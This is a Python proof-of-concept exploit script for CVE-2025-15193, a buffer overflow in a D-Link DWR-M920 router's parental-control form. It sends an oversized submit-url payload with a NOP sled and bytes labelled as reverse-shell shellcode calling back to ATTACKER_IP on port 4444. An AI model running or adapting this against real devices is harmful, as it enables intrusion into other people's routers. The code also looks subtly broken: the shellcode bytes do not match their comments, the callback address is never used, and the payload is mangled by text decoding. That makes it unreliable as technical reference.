CVE-2025-15193

#!/usr/bin/env python3 """ CVE-2025-15193 PoC - D-Link DWR-M920 Buffer Overflow in formParentControl Target: D-Link DWR-M920 <= 1.1.50 Vulnerability: Buffer overflow via submit-url parameter in /boafrm/formParentControl CVSS: 8.8 (High) """ import requests import sys import argparse def create_overflow_payload(length=1000): """ Generate overflow payload for submit-url parameter Fill with 'A' characters and add NOP sled + shellcode """ # NOP sled for better exploitation reliability nop_sled = b'\x90' * 100 # Shellcode for MIPSEL - reverse shell to attacker # This connects back to attacker on port 4444 shellcode = b'\x50\x73\x06\x24\xff\xff\x0c\x24' # li a0, 0x1 shellcode += b'\x57\x10\x02\x24\x0c\x01\x04\x24' # li a1, 0x10000000 shellcode += b'\x55\x10\x05\x34\xfd\xff\x0c\x24' # li a2, 0x7fffffff shellcode += b'\x04\x11\x04\x24\x0c\x01\x03\x24' # li v0, 0x104 shellcode += b'\x21\x28\x04\x24\x21\x20\x04\x24' # li a0, 1 shellcode += b'\xfa\xff\x0c\x24\x21\x30\x04\x24' # li a1, -6 shellcode += b'\x21\x38\x04\x24\x01\x01\x05\x24' # li a2, 0x10000000 shellcode += b'\x0c\x01\x04\x24\x01\x01\x05\x24' # li v0, 0x104 # Fill the rest with 'A' to reach target length fill_length = length - len(nop_sled) - len(shellcode) filler = b'A' * fill_length # Return address - point to NOP sled in buffer # This should be adjusted based on actual firmware return_address = b'\x40\x00\x00\x00' # Example return address payload = nop_sled + shellcode + filler + return_address return payload.decode('utf-8', errors='ignore') def exploit(target_ip, target_port=80, callback_ip='ATTACKER_IP', callback_port=4444): """ Exploit the buffer overflow vulnerability """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating overflow payload...") # Create malicious payload payload = create_overflow_payload(1000) # Construct the exploit request url = f"http://{target_ip}:{target_port}/boafrm/formParentControl" # Data payload with overflow in submit-url parameter data = { 'submit-url': payload, 'submit': 'Apply', 'ParentControl': '1', 'enable_parent': '1' } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-15193)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[+] Sending exploit payload ({len(payload)} bytes)...") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[!] Check for reverse shell on port {callback_port}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return True if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-15193 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=80, help='Target port (default: 80)') parser.add_argument('-c', '--callback', default='ATTACKER_IP', help='Callback IP') parser.add_argument('-l', '--length', type=int, default=1000, help='Payload length') args = parser.parse_args() exploit(args.target, args.port, args.callback) # Note: This PoC is for educational and authorized testing purposes only.

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